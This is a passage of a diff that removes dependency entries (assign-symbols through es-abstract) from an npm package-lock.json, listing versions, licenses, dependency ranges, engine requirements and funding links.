- "node_modules/assign-symbols": {
- "version": "1.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/async": {
- "version": "3.2.5",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/async-each": {
- "version": "1.0.6",
- "funding": [
- {
- "type": "individual",
- "url": "https://paulmillr.com/funding/"
- }
- ],
- "license": "MIT",
- "optional": true,
- "peer": true
- },
- "node_modules/async-retry": {
- "version": "1.3.3",
- "resolved": "https://registry.npmjs.org/async-retry/-/async-retry-1.3.3.tgz",
- "integrity": "sha512-wfr/jstw9xNi/0teMHrRW7dsz3Lt5ARhYNZ2ewpadnhaIp5mbALhOAP+EAdsC7t4Z6wqsDVv9+W6gm1Dk9mEyw==",
- "dependencies": {
- "retry": "0.13.1"
- }
- },
- "node_modules/asynckit": {
- "version": "0.4.0",
- "license": "MIT"
- },
- "node_modules/atob": {
- "version": "2.1.2",
- "license": "(MIT OR Apache-2.0)",
- "bin": {
- "atob": "bin/atob.js"
- },
- "engines": {
- "node": ">= 4.5.0"
- }
- },
- "node_modules/autoprefixer": {
- "version": "10.4.20",
- "dev": true,
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/autoprefixer"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "license": "MIT",
- "dependencies": {
- "browserslist": "^4.23.3",
- "caniuse-lite": "^1.0.30001646",
- "fraction.js": "^4.3.7",
- "normalize-range": "^0.1.2",
- "picocolors": "^1.0.1",
- "postcss-value-parser": "^4.2.0"
- },
- "bin": {
- "autoprefixer": "bin/autoprefixer"
- },
- "engines": {
- "node": "^10 || ^12 || >=14"
- },
- "peerDependencies": {
- "postcss": "^8.1.0"
- }
- },
- "node_modules/available-typed-arrays": {
- "version": "1.0.7",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "possible-typed-array-names": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/axios": {
- "version": "1.7.7",
- "resolved": "https://registry.npmjs.org/axios/-/axios-1.7.7.tgz",
- "integrity": "sha512-S4kL7XrjgBmvdGut0sN3yJxqYzrDOnivkBiN0OFs6hLiUam3UPvswUo0kqGyhqUZGEOytHyumEdXsAkgCOUf3Q==",
- "dependencies": {
- "follow-redirects": "^1.15.6",
- "form-data": "^4.0.0",
- "proxy-from-env": "^1.1.0"
- }
- },
- "node_modules/babel-plugin-macros": {
- "version": "3.1.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@babel/runtime": "^7.12.5",
- "cosmiconfig": "^7.0.0",
- "resolve": "^1.19.0"
- },
- "engines": {
- "node": ">=10",
- "npm": ">=6"
- }
- },
- "node_modules/balanced-match": {
- "version": "1.0.2",
- "license": "MIT"
- },
- "node_modules/base": {
- "version": "0.11.2",
- "license": "MIT",
- "dependencies": {
- "cache-base": "^1.0.1",
- "class-utils": "^0.3.5",
- "component-emitter": "^1.2.1",
- "define-property": "^1.0.0",
- "isobject": "^3.0.1",
- "mixin-deep": "^1.2.0",
- "pascalcase": "^0.1.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/base/node_modules/define-property": {
- "version": "1.0.0",
- "license": "MIT",
- "dependencies": {
- "is-descriptor": "^1.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/base64-js": {
- "version": "1.5.1",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ],
- "license": "MIT",
- "peer": true
- },
- "node_modules/big.js": {
- "version": "5.2.2",
- "license": "MIT",
- "engines": {
- "node": "*"
- }
- },
- "node_modules/binary-extensions": {
- "version": "2.3.0",
- "license": "MIT",
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/bluebird": {
- "version": "3.7.2",
- "license": "MIT",
- "peer": true
- },
- "node_modules/bn.js": {
- "version": "5.2.1",
- "license": "MIT",
- "peer": true
- },
- "node_modules/bootstrap": {
- "version": "5.3.3",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/twbs"
- },
- {
- "type": "opencollective",
- "url": "https://opencollective.com/bootstrap"
- }
- ],
- "license": "MIT",
- "peerDependencies": {
- "@popperjs/core": "^2.11.8"
- }
- },
- "node_modules/brace-expansion": {
- "version": "1.1.11",
- "license": "MIT",
- "dependencies": {
- "balanced-match": "^1.0.0",
- "concat-map": "0.0.1"
- }
- },
- "node_modules/braces": {
- "version": "3.0.3",
- "license": "MIT",
- "dependencies": {
- "fill-range": "^7.1.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/brorand": {
- "version": "1.1.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/browserify-aes": {
- "version": "1.2.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "buffer-xor": "^1.0.3",
- "cipher-base": "^1.0.0",
- "create-hash": "^1.1.0",
- "evp_bytestokey": "^1.0.3",
- "inherits": "^2.0.1",
- "safe-buffer": "^5.0.1"
- }
- },
- "node_modules/browserify-cipher": {
- "version": "1.0.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "browserify-aes": "^1.0.4",
- "browserify-des": "^1.0.0",
- "evp_bytestokey": "^1.0.0"
- }
- },
- "node_modules/browserify-des": {
- "version": "1.0.2",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "cipher-base": "^1.0.1",
- "des.js": "^1.0.0",
- "inherits": "^2.0.1",
- "safe-buffer": "^5.1.2"
- }
- },
- "node_modules/browserify-rsa": {
- "version": "4.1.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "bn.js": "^5.0.0",
- "randombytes": "^2.0.1"
- }
- },
- "node_modules/browserify-sign": {
- "version": "4.2.3",
- "license": "ISC",
- "peer": true,
- "dependencies": {
- "bn.js": "^5.2.1",
- "browserify-rsa": "^4.1.0",
- "create-hash": "^1.2.0",
- "create-hmac": "^1.1.7",
- "elliptic": "^6.5.5",
- "hash-base": "~3.0",
- "inherits": "^2.0.4",
- "parse-asn1": "^5.1.7",
- "readable-stream": "^2.3.8",
- "safe-buffer": "^5.2.1"
- },
- "engines": {
- "node": ">= 0.12"
- }
- },
- "node_modules/browserify-zlib": {
- "version": "0.2.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "pako": "~1.0.5"
- }
- },
- "node_modules/browserslist": {
- "version": "4.23.3",
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/browserslist"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/browserslist"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "license": "MIT",
- "dependencies": {
- "caniuse-lite": "^1.0.30001646",
- "electron-to-chromium": "^1.5.4",
- "node-releases": "^2.0.18",
- "update-browserslist-db": "^1.1.0"
- },
- "bin": {
- "browserslist": "cli.js"
- },
- "engines": {
- "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
- }
- },
- "node_modules/buffer": {
- "version": "4.9.2",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "base64-js": "^1.0.2",
- "ieee754": "^1.1.4",
- "isarray": "^1.0.0"
- }
- },
- "node_modules/buffer-from": {
- "version": "1.1.2",
- "license": "MIT",
- "peer": true
- },
- "node_modules/buffer-xor": {
- "version": "1.0.3",
- "license": "MIT",
- "peer": true
- },
- "node_modules/builtin-status-codes": {
- "version": "3.0.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/busboy": {
- "version": "1.6.0",
- "dependencies": {
- "streamsearch": "^1.1.0"
- },
- "engines": {
- "node": ">=10.16.0"
- }
- },
- "node_modules/bytes": {
- "version": "3.1.2",
- "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz",
- "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==",
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/cacache": {
- "version": "12.0.4",
- "license": "ISC",
- "peer": true,
- "dependencies": {
- "bluebird": "^3.5.5",
- "chownr": "^1.1.1",
- "figgy-pudding": "^3.5.1",
- "glob": "^7.1.4",
- "graceful-fs": "^4.1.15",
- "infer-owner": "^1.0.3",
- "lru-cache": "^5.1.1",
- "mississippi": "^3.0.0",
- "mkdirp": "^0.5.1",
- "move-concurrently": "^1.0.1",
- "promise-inflight": "^1.0.1",
- "rimraf": "^2.6.3",
- "ssri": "^6.0.1",
- "unique-filename": "^1.1.1",
- "y18n": "^4.0.0"
- }
- },
- "node_modules/cacache/node_modules/lru-cache": {
- "version": "5.1.1",
- "license": "ISC",
- "peer": true,
- "dependencies": {
- "yallist": "^3.0.2"
- }
- },
- "node_modules/cache-base": {
- "version": "1.0.1",
- "license": "MIT",
- "dependencies": {
- "collection-visit": "^1.0.0",
- "component-emitter": "^1.2.1",
- "get-value": "^2.0.6",
- "has-value": "^1.0.0",
- "isobject": "^3.0.1",
- "set-value": "^2.0.0",
- "to-object-path": "^0.3.0",
- "union-value": "^1.0.0",
- "unset-value": "^1.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/call-bind": {
- "version": "1.0.7",
- "license": "MIT",
- "dependencies": {
- "es-define-property": "^1.0.0",
- "es-errors": "^1.3.0",
- "function-bind": "^1.1.2",
- "get-intrinsic": "^1.2.4",
- "set-function-length": "^1.2.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/call-me-maybe": {
- "version": "1.0.2",
- "license": "MIT"
- },
- "node_modules/callsites": {
- "version": "3.1.0",
- "license": "MIT",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/camelcase-css": {
- "version": "2.0.1",
- "license": "MIT",
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/caniuse-lite": {
- "version": "1.0.30001651",
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/browserslist"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "license": "CC-BY-4.0"
- },
- "node_modules/chalk": {
- "version": "2.4.2",
- "license": "MIT",
- "dependencies": {
- "ansi-styles": "^3.2.1",
- "escape-string-regexp": "^1.0.5",
- "supports-color": "^5.3.0"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/chokidar": {
- "version": "3.6.0",
- "license": "MIT",
- "dependencies": {
- "anymatch": "~3.1.2",
- "braces": "~3.0.2",
- "glob-parent": "~5.1.2",
- "is-binary-path": "~2.1.0",
- "is-glob": "~4.0.1",
- "normalize-path": "~3.0.0",
- "readdirp": "~3.6.0"
- },
- "engines": {
- "node": ">= 8.10.0"
- },
- "funding": {
- "url": "https://paulmillr.com/funding/"
- },
- "optionalDependencies": {
- "fsevents": "~2.3.2"
- }
- },
- "node_modules/chokidar/node_modules/glob-parent": {
- "version": "5.1.2",
- "license": "ISC",
- "dependencies": {
- "is-glob": "^4.0.1"
- },
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/chownr": {
- "version": "1.1.4",
- "license": "ISC",
- "peer": true
- },
- "node_modules/chrome-trace-event": {
- "version": "1.0.4",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=6.0"
- }
- },
- "node_modules/ci-info": {
- "version": "3.9.0",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/sibiraj-s"
- }
- ],
- "license": "MIT",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/cipher-base": {
- "version": "1.0.4",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "inherits": "^2.0.1",
- "safe-buffer": "^5.0.1"
- }
- },
- "node_modules/class-utils": {
- "version": "0.3.6",
- "license": "MIT",
- "dependencies": {
- "arr-union": "^3.1.0",
- "define-property": "^0.2.5",
- "isobject": "^3.0.0",
- "static-extend": "^0.1.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/class-utils/node_modules/define-property": {
- "version": "0.2.5",
- "license": "MIT",
- "dependencies": {
- "is-descriptor": "^0.1.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/class-utils/node_modules/is-descriptor": {
- "version": "0.1.7",
- "license": "MIT",
- "dependencies": {
- "is-accessor-descriptor": "^1.0.1",
- "is-data-descriptor": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/class-variance-authority": {
- "version": "0.7.0",
- "resolved": "https://registry.npmjs.org/class-variance-authority/-/class-variance-authority-0.7.0.tgz",
- "integrity": "sha512-jFI8IQw4hczaL4ALINxqLEXQbWcNjoSkloa4IaufXCJr6QawJyw7tuRysRsrE8w2p/4gGaxKIt/hX3qz/IbD1A==",
- "dependencies": {
- "clsx": "2.0.0"
- },
- "funding": {
- "url": "https://joebell.co.uk"
- }
- },
- "node_modules/class-variance-authority/node_modules/clsx": {
- "version": "2.0.0",
- "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.0.0.tgz",
- "integrity": "sha512-rQ1+kcj+ttHG0MKVGBUXwayCCF1oh39BF5COIpRzuCEv8Mwjv0XucrI2ExNTOn9IlLifGClWQcU9BrZORvtw6Q==",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/classnames": {
- "version": "2.5.1",
- "license": "MIT"
- },
- "node_modules/cli-cursor": {
- "version": "5.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "restore-cursor": "^5.0.0"
- },
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/cli-truncate": {
- "version": "4.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "slice-ansi": "^5.0.0",
- "string-width": "^7.0.0"
- },
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/cli-truncate/node_modules/emoji-regex": {
- "version": "10.3.0",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/cli-truncate/node_modules/string-width": {
- "version": "7.2.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "emoji-regex": "^10.3.0",
- "get-east-asian-width": "^1.0.0",
- "strip-ansi": "^7.1.0"
- },
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/client-only": {
- "version": "0.0.1",
- "license": "MIT"
- },
- "node_modules/clsx": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz",
- "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/collection-visit": {
- "version": "1.0.0",
- "license": "MIT",
- "dependencies": {
- "map-visit": "^1.0.0",
- "object-visit": "^1.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/color": {
- "version": "4.2.3",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "color-convert": "^2.0.1",
- "color-string": "^1.9.0"
- },
- "engines": {
- "node": ">=12.5.0"
- }
- },
- "node_modules/color-convert": {
- "version": "1.9.3",
- "license": "MIT",
- "dependencies": {
- "color-name": "1.1.3"
- }
- },
- "node_modules/color-name": {
- "version": "1.1.3",
- "license": "MIT"
- },
- "node_modules/color-string": {
- "version": "1.9.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "color-name": "^1.0.0",
- "simple-swizzle": "^0.2.2"
- }
- },
- "node_modules/color/node_modules/color-convert": {
- "version": "2.0.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "color-name": "~1.1.4"
- },
- "engines": {
- "node": ">=7.0.0"
- }
- },
- "node_modules/color/node_modules/color-name": {
- "version": "1.1.4",
- "license": "MIT",
- "peer": true
- },
- "node_modules/color2k": {
- "version": "2.0.3",
- "license": "MIT"
- },
- "node_modules/colorette": {
- "version": "2.0.20",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/combined-stream": {
- "version": "1.0.8",
- "license": "MIT",
- "dependencies": {
- "delayed-stream": "~1.0.0"
- },
- "engines": {
- "node": ">= 0.8"
- }
- },
- "node_modules/commander": {
- "version": "11.1.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=16"
- }
- },
- "node_modules/commondir": {
- "version": "1.0.1",
- "license": "MIT"
- },
- "node_modules/component-emitter": {
- "version": "1.3.1",
- "license": "MIT",
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/compute-scroll-into-view": {
- "version": "3.0.3",
- "license": "MIT"
- },
- "node_modules/concat-map": {
- "version": "0.0.1",
- "license": "MIT"
- },
- "node_modules/concat-stream": {
- "version": "1.6.2",
- "engines": [
- "node >= 0.8"
- ],
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "buffer-from": "^1.0.0",
- "inherits": "^2.0.3",
- "readable-stream": "^2.2.2",
- "typedarray": "^0.0.6"
- }
- },
- "node_modules/console-browserify": {
- "version": "1.2.0",
- "peer": true
- },
- "node_modules/constants-browserify": {
- "version": "1.0.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/convert-source-map": {
- "version": "1.9.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/copy-concurrently": {
- "version": "1.0.5",
- "license": "ISC",
- "peer": true,
- "dependencies": {
- "aproba": "^1.1.1",
- "fs-write-stream-atomic": "^1.0.8",
- "iferr": "^0.1.5",
- "mkdirp": "^0.5.1",
- "rimraf": "^2.5.4",
- "run-queue": "^1.0.0"
- }
- },
- "node_modules/copy-descriptor": {
- "version": "0.1.1",
- "license": "MIT",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/copy-to-clipboard": {
- "version": "3.3.3",
- "license": "MIT",
- "dependencies": {
- "toggle-selection": "^1.0.6"
- }
- },
- "node_modules/core-util-is": {
- "version": "1.0.3",
- "license": "MIT",
- "peer": true
- },
- "node_modules/cosmiconfig": {
- "version": "7.1.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "@types/parse-json": "^4.0.0",
- "import-fresh": "^3.2.1",
- "parse-json": "^5.0.0",
- "path-type": "^4.0.0",
- "yaml": "^1.10.0"
- },
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/create-ecdh": {
- "version": "4.0.4",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "bn.js": "^4.1.0",
- "elliptic": "^6.5.3"
- }
- },
- "node_modules/create-ecdh/node_modules/bn.js": {
- "version": "4.12.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/create-hash": {
- "version": "1.2.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "cipher-base": "^1.0.1",
- "inherits": "^2.0.1",
- "md5.js": "^1.3.4",
- "ripemd160": "^2.0.1",
- "sha.js": "^2.4.0"
- }
- },
- "node_modules/create-hmac": {
- "version": "1.1.7",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "cipher-base": "^1.0.3",
- "create-hash": "^1.1.0",
- "inherits": "^2.0.1",
- "ripemd160": "^2.0.0",
- "safe-buffer": "^5.0.1",
- "sha.js": "^2.4.8"
- }
- },
- "node_modules/cross-spawn": {
- "version": "7.0.3",
- "license": "MIT",
- "dependencies": {
- "path-key": "^3.1.0",
- "shebang-command": "^2.0.0",
- "which": "^2.0.1"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/crypto-browserify": {
- "version": "3.12.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "browserify-cipher": "^1.0.0",
- "browserify-sign": "^4.0.0",
- "create-ecdh": "^4.0.0",
- "create-hash": "^1.1.0",
- "create-hmac": "^1.1.0",
- "diffie-hellman": "^5.0.0",
- "inherits": "^2.0.1",
- "pbkdf2": "^3.0.3",
- "public-encrypt": "^4.0.0",
- "randombytes": "^2.0.0",
- "randomfill": "^1.0.3"
- },
- "engines": {
- "node": "*"
- }
- },
- "node_modules/css-box-model": {
- "version": "1.2.1",
- "license": "MIT",
- "dependencies": {
- "tiny-invariant": "^1.0.6"
- }
- },
- "node_modules/css-mediaquery": {
- "version": "0.1.2",
- "license": "BSD"
- },
- "node_modules/cssesc": {
- "version": "3.0.0",
- "license": "MIT",
- "bin": {
- "cssesc": "bin/cssesc"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/cssom": {
- "version": "0.5.0",
- "license": "MIT"
- },
- "node_modules/cssstyle": {
- "version": "2.3.0",
- "license": "MIT",
- "dependencies": {
- "cssom": "~0.3.6"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/cssstyle/node_modules/cssom": {
- "version": "0.3.8",
- "license": "MIT"
- },
- "node_modules/csstype": {
- "version": "3.1.3",
- "license": "MIT"
- },
- "node_modules/cyclist": {
- "version": "1.0.2",
- "license": "MIT",
- "peer": true
- },
- "node_modules/data-urls": {
- "version": "3.0.2",
- "license": "MIT",
- "dependencies": {
- "abab": "^2.0.6",
- "whatwg-mimetype": "^3.0.0",
- "whatwg-url": "^11.0.0"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/data-view-buffer": {
- "version": "1.0.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.6",
- "es-errors": "^1.3.0",
- "is-data-view": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/data-view-byte-length": {
- "version": "1.0.1",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.7",
- "es-errors": "^1.3.0",
- "is-data-view": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/data-view-byte-offset": {
- "version": "1.0.0",
- "dev": true,
- "license": "MIT",
- "dependencies": {
- "call-bind": "^1.0.6",
- "es-errors": "^1.3.0",
- "is-data-view": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/debug": {
- "version": "4.3.6",
- "license": "MIT",
- "dependencies": {
- "ms": "2.1.2"
- },
- "engines": {
- "node": ">=6.0"
- },
- "peerDependenciesMeta": {
- "supports-color": {
- "optional": true
- }
- }
- },
- "node_modules/decimal.js": {
- "version": "10.4.3",
- "license": "MIT"
- },
- "node_modules/decode-uri-component": {
- "version": "0.2.2",
- "license": "MIT",
- "engines": {
- "node": ">=0.10"
- }
- },
- "node_modules/deep-is": {
- "version": "0.1.4",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/deepmerge": {
- "version": "4.3.1",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/define-data-property": {
- "version": "1.1.4",
- "license": "MIT",
- "dependencies": {
- "es-define-property": "^1.0.0",
- "es-errors": "^1.3.0",
- "gopd": "^1.0.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/define-properties": {
- "version": "1.2.1",
- "license": "MIT",
- "dependencies": {
- "define-data-property": "^1.0.1",
- "has-property-descriptors": "^1.0.0",
- "object-keys": "^1.1.1"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/define-property": {
- "version": "2.0.2",
- "license": "MIT",
- "dependencies": {
- "is-descriptor": "^1.0.2",
- "isobject": "^3.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/delayed-stream": {
- "version": "1.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=0.4.0"
- }
- },
- "node_modules/des.js": {
- "version": "1.1.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "inherits": "^2.0.1",
- "minimalistic-assert": "^1.0.0"
- }
- },
- "node_modules/detect-node-es": {
- "version": "1.1.0",
- "license": "MIT"
- },
- "node_modules/didyoumean": {
- "version": "1.2.2",
- "license": "Apache-2.0"
- },
- "node_modules/diffie-hellman": {
- "version": "5.0.3",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "bn.js": "^4.1.0",
- "miller-rabin": "^4.0.0",
- "randombytes": "^2.0.0"
- }
- },
- "node_modules/diffie-hellman/node_modules/bn.js": {
- "version": "4.12.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/dir-glob": {
- "version": "2.0.0",
- "license": "MIT",
- "dependencies": {
- "arrify": "^1.0.1",
- "path-type": "^3.0.0"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/dir-glob/node_modules/path-type": {
- "version": "3.0.0",
- "license": "MIT",
- "dependencies": {
- "pify": "^3.0.0"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/dir-glob/node_modules/pify": {
- "version": "3.0.0",
- "license": "MIT",
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/dlv": {
- "version": "1.1.3",
- "license": "MIT"
- },
- "node_modules/doctrine": {
- "version": "2.1.0",
- "dev": true,
- "license": "Apache-2.0",
- "dependencies": {
- "esutils": "^2.0.2"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/domain-browser": {
- "version": "1.2.0",
- "license": "MIT",
- "peer": true,
- "engines": {
- "node": ">=0.4",
- "npm": ">=1.2"
- }
- },
- "node_modules/domexception": {
- "version": "4.0.0",
- "license": "MIT",
- "dependencies": {
- "webidl-conversions": "^7.0.0"
- },
- "engines": {
- "node": ">=12"
- }
- },
- "node_modules/duplexify": {
- "version": "3.7.1",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "end-of-stream": "^1.0.0",
- "inherits": "^2.0.1",
- "readable-stream": "^2.0.0",
- "stream-shift": "^1.0.0"
- }
- },
- "node_modules/eastasianwidth": {
- "version": "0.2.0",
- "license": "MIT"
- },
- "node_modules/electron-to-chromium": {
- "version": "1.5.11",
- "license": "ISC"
- },
- "node_modules/elliptic": {
- "version": "6.5.6",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "bn.js": "^4.11.9",
- "brorand": "^1.1.0",
- "hash.js": "^1.0.0",
- "hmac-drbg": "^1.0.1",
- "inherits": "^2.0.4",
- "minimalistic-assert": "^1.0.1",
- "minimalistic-crypto-utils": "^1.0.1"
- }
- },
- "node_modules/elliptic/node_modules/bn.js": {
- "version": "4.12.0",
- "license": "MIT",
- "peer": true
- },
- "node_modules/email-addresses": {
- "version": "5.0.0",
- "dev": true,
- "license": "MIT"
- },
- "node_modules/embla-carousel": {
- "version": "8.2.0",
- "license": "MIT"
- },
- "node_modules/embla-carousel-react": {
- "version": "8.2.0",
- "license": "MIT",
- "dependencies": {
- "embla-carousel": "8.2.0",
- "embla-carousel-reactive-utils": "8.2.0"
- },
- "peerDependencies": {
- "react": "^16.8.0 || ^17.0.1 || ^18.0.0"
- }
- },
- "node_modules/embla-carousel-reactive-utils": {
- "version": "8.2.0",
- "license": "MIT",
- "peerDependencies": {
- "embla-carousel": "8.2.0"
- }
- },
- "node_modules/embla-carousel-wheel-gestures": {
- "version": "8.0.1",
- "license": "MIT",
- "dependencies": {
- "wheel-gestures": "^2.2.5"
- },
- "engines": {
- "node": ">=10"
- },
- "peerDependencies": {
- "embla-carousel": "^8.0.0 || ~8.0.0-rc03"
- }
- },
- "node_modules/emoji-regex": {
- "version": "9.2.2",
- "license": "MIT"
- },
- "node_modules/emojis-list": {
- "version": "3.0.0",
- "license": "MIT",
- "engines": {
- "node": ">= 4"
- }
- },
- "node_modules/end-of-stream": {
- "version": "1.4.4",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "once": "^1.4.0"
- }
- },
- "node_modules/enhanced-resolve": {
- "version": "4.5.0",
- "peer": true,
- "dependencies": {
- "graceful-fs": "^4.1.2",
- "memory-fs": "^0.5.0",
- "tapable": "^1.0.0"
- },
- "engines": {
- "node": ">=6.9.0"
- }
- },
- "node_modules/enhanced-resolve/node_modules/memory-fs": {
- "version": "0.5.0",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "errno": "^0.1.3",
- "readable-stream": "^2.0.1"
- },
- "engines": {
- "node": ">=4.3.0 <5.0.0 || >=5.10"
- }
- },
- "node_modules/enquire.js": {
- "version": "2.1.6",
- "license": "MIT"
- },
- "node_modules/entities": {
- "version": "4.5.0",
- "license": "BSD-2-Clause",
- "engines": {
- "node": ">=0.12"
- },
- "funding": {
- "url": "https://github.com/fb55/entities?sponsor=1"
- }
- },
- "node_modules/environment": {
- "version": "1.1.0",
- "dev": true,
- "license": "MIT",
- "engines": {
- "node": ">=18"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/errno": {
- "version": "0.1.8",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "prr": "~1.0.1"
- },
- "bin": {
- "errno": "cli.js"
- }
- },
- "node_modules/error-ex": {
- "version": "1.3.2",
- "license": "MIT",
- "peer": true,
- "dependencies": {
- "is-arrayish": "^0.2.1"
- }
- },
- "node_modules/es-abstract": {
- "version": "1.23.3",
- "dev": true,
